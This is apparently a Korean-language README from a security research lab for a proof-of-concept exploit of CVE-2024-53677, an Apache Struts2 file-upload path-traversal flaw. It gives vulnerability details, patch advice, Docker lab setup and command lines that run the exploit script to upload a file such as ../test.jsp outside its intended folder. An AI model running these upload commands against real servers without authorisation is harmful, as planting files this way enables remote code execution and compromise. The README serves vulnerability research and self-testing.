
Apache Struts2 익스플로잇의 파일 업로드 로직 결함
이 게시물은 EQSTLab에서 발행한 연구 기사입니다.
★ CVE-2024-53677 위험한 유형의 파일 무제한 업로드 및 RCE PoC ★
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
12월 11일 : CVE-2024-53677 파일 업로드 PoC 업로드됨
CVE-2024-53677 : Apache Struts의 파일 업로드 로직에 결함이 있습니다. 공격자는 파일 업로드 매개변수를 조작하여 경로 순회(path traversal)를 가능하게 할 수 있으며, 특정 상황에서는 악성 파일을 업로드하여 원격 코드 실행(Remote Code Execution)을 수행하는 데 사용할 수 있습니다. 이 문제는 Apache Struts 2.0.0에서 6.4.0 이전 버전에 영향을 미칩니다. 사용자는 최소한 6.4.0 버전으로 업그레이드하고 새로운 파일 업로드 메커니즘 https://struts.apache.org/core-developers/file-upload 으로 마이그레이션하는 것이 좋습니다. FileuploadInterceptor 기반의 기존 파일 업로드 로직을 사용하지 않는 경우 애플리케이션은 안전합니다. 자세한 내용은 https://cwiki.apache.org/confluence/display/WW/S2-067 에서 확인할 수 있습니다.
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677
pip install -r requirements.txt
# Upload the default file
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName>
# Upload Specified File
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName> -f <File Path>
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt
CVE-2024-53677.py
이 저장소는 CVE-2024-53677에 대한 객체 주입(Object injection) 익스플로잇을 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.
저희는 월 1회 CVE 및 악성코드 분석을 게시합니다. 관심이 있으시면 아래 링크를 통해 저희 간행물을 확인해 주세요. https://www.skshieldus.com/eng/business/insight.do
https://nvd.nist.gov/vuln/detail/CVE-2024-53677
https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677
https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker